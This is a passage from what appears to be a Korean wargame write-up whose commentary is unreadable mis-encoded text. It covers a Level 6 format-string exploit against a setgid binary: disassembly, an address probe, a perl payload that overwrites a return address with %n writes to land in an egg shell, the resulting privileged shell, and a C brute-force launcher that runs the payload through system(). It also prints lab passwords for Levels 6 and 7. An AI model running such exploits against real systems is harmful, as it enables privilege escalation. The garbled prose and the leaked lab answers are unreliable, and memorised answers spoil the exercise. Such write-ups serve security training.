             0x0804863b <print_msg+119>:     lea    0xffffffa8(%ebp),%eax				' ebp-88 -> %ax
             0x0804863e <print_msg+122>:     push   %eax					' buf[52] push
             0x0804863f <print_msg+123>:     call   0x8048434					' call printf(buf) <- Ãë¾àÁ¡ ¹ß»ý
             0x08048644 <print_msg+128>:     add    $0x10,%esp
             0x08048647 <print_msg+131>:     leave  
             0x08048648 <print_msg+132>:     ret    
             0x08048649 <print_msg+133>:     lea    0x0(%esi),%esi

          ¤· Exploit
             - ÀÔ·ÂÇÑ °ªÀÌ ÀúÀåµÇ´Â ¹öÆÛ¿Í Ãâ·ÂµÉ ¶§ÀÇ %esp ¿ÍÀÇ °Å¸® È®ÀÎ
               16¹øÀÇ pop °úÁ¤ ³¡¿¡ ÀÔ·ÂÇÑ °ªÀÌ Ãâ·ÂµÊÀ» È®ÀÎ
               ================================================================================================================
               $ ./f

               Level 6

               ¸Þ¼¼Áö¸¦ ³²±â¼¼¿ä.
               AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
               ´ÙÀ½ÀÇ ¸Þ¼¼Áö¸¦ ³²±â¼Ì½À´Ï´Ù.
               AAAAbfbfec58341bfbfeb6000a9876543241414141

               ÀÌ¿ëÇØÁּż­ °¨»çÇÕ´Ï´Ù.
               $ 
               ================================================================================================================
               dtors : 0x80498fc  ( 0x8049900 , 0x8049902 <- 0x00 ¶§¹®¿¡ °ø°Ý ºÒ°¡)
               got   : 0x8049908  ( 0x8049908 , 0x804990a <- 0x0a ¶§¹®¿¡ °ø°Ý ºÒ°¡)
               ret   : 0xbfbfe13c ( popµÇ´Â stack¿¡ ÀÖ´Â ÁÖ¼Ò ÁÖº¯À¸·Î ÂïÀ» ¼ö ÀÖÀ½ )
               shell : 0xbfbfec58 ( ec58(60504) - 0x10(16) = ec48(60488), 1bfbf-ec58=d367(54119) )

               $ objdump -h f|grep dtor
                15 .dtors        00000008  080498fc  080498fc  000008fc  2**2
               $ objdump -h f|grep got
                17 .got          00000028  08049908  08049908  00000908  2**2
               $ ./.e  ( EGG SHELL FOR FREEBSD OS )
               Using address: 0xbfbfec58
               $ (perl -e 'print "zzzz\x3c\xe1\xbf\xbfzzzz\x3e\xe1\xbf\xbf%16\$60488c%17\$n%18\$54119c%19\$n"';cat)|./f
                                   ~~~
                                   ~~~
                                   ~~~
                                   ~~~
                                   ~~~
                                   ~~~
               id
               uid=1003(user02) gid=1003(user02) egid=600(level6) groups=600(level6), 1003(user02)
               pwd
               cd /export/home/level6
               ls
               LEVEL6_ANSWER
               cat *
               Congratulations!!
 
               Level6's password : Bmore_Peppers

          ¤· Automatic Exploit Code Source by xCuter
             /********** exploit code for the vuln prog ********/
             main()
             {
                long j,i;
                char buf[500];

                for(i=0xe0;i<0xff;i+=0x01)
                {
                  for(j=0x00;j<0xff;j+=0x02)
                  {
                      memset(buf, 0, 500);
                      sprintf(buf, "(perl -e 'print \"zzzz\\x%02x\\x%02x\\xbf\\xbfzzzz\\x%02x\\x%02x\\xbf\\xbf%%16\\$60488c%%17\\$n%%18\\$54119c%%19\\$n\"';cat)|./f",j,i,j+0x02,i);
                      printf("%s\n\n",buf);
                      system(buf);
                  }
                }
             }
             /********** just cut here ********/  
             - »õ·Ò µ¥ÀÌŸ¸ÇÀ» ÀÌ¿ë, °ø°Ý °á°úÁß ³ª¿À´Â ±ÛÀÚ¸¦ ÀÚµ¿¹ÝÀÀ¿¡ ³Ö¾îÁÜÀ¸·Î½á ¾Ë¾Æ¼­ ½©ÀÌ ¶³¾îÁú ¶§ ±îÁö °ø°Ý ÁøÇàµÇµµ·Ï ÇÔ.


7. ¹®Á¦ : °ü¸®ÀÚ°¡ ¾î¶² ÇÁ·Î±×·¥À» °³¹ßÇÏ¿´´Âµ¥ ÀÌ ÇÁ·Î±×·¥Àº ¾Ïȣȭ ±â¹ýÀ» ÀÌ¿ëÇÏ¿© ÆÐ½º¿öµå¸¦ ¼û°å´Ù°í ÇÑ´Ù.
          ÀÌ ÇÁ·Î±×·¥À» ºÐ¼®ÇÏ¿© ÆÐ½º¿öµå¸¦ ȹµæÇϽÿÀ.
   Ç®ÀÌ : ¤· °Ë»ö
             find / -group level7 -exec ls -al {} \; 2>/dev/null
             -rwxr-sr-x  2 root  level7  6227 May 11 03:09 /usr/sbin/reverse

          ¤· ºÐ¼®
             CRYPTED STR : b416AHqnsisAU
             - DES ¹æ½ÄÀ̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ¾ú°í, b4 ·Î ½ÃÀÛÇÑ´Ù´Â °Íµµ È®ÀÎ
             - Disassembly -> preset_passwd()ÇÔ¼ö - ½Ã°£ ¾øÀ¸´Ï ³ªÁß¿¡.(½ÇÇàÇϸ鼭 º¸À϶óĺ´Âµ¥ bsd¼­¹ö°¡ ¾ø--)
             preset_passwd() ÇÔ¼ö³»¿¡ ¹®ÀÚ¿­ ±×´ë·Î Á¸Àç

          ¤· Á¤´ä : b4ck 4ttack

             $ ./f
             Password: b4ck 4ttack
             Congratulations !!
             $ 


** Èıâ **

Àç¹Õ¾ú½À´Ï´Ù. ¸ðµÎ ¼ö°í ¸¹À¸¼Ì½À´Ï´Ù. ^^; ³²Àº°Ç º»¼±...!!¤»¤»